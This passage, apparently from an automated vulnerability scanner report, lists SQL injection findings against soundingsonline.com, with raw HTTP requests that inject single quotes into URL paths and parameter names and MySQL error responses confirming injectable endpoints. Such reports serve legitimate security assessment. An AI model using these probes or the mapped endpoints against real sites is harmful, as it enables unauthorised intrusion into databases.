GET /component/chronocontact/?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:52:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:52:45 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /component/chronocontact/?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:52:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:52:46 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /component/content'/article/237622 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:53:01 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:53:01 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /component/content''/article/237622 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:53:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:53:02 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 3, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /component/content/article'/237622 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:53:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:53:05 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /component/content/article''/237622 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:53:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:53:06 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 4, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /component/content/article/237622' HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:53:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:53:10 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/component/content/article/237622'' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /component/content/article/237622'' HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:53:11 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:53:11 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.164. http://www.soundingsonline.com/component/content/article/237622 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/component/content/article/237622
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /component/content/article/237622?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:52:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:52:51 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /component/content/article/237622?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:52:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:52:52 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.165. http://www.soundingsonline.com/contact-us [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/contact-us
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /contact-us?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:51 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /contact-us?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:52 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.166. http://www.soundingsonline.com/features [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /features?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:26 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /features?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:35 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.167. http://www.soundingsonline.com/features/in-depth [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features/in-depth
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /features/in-depth?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:13 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /features/in-depth?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:15 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:14 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.168. http://www.soundingsonline.com/features/justyesterday [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features/justyesterday
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /features/justyesterday?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:46 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /features/justyesterday?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
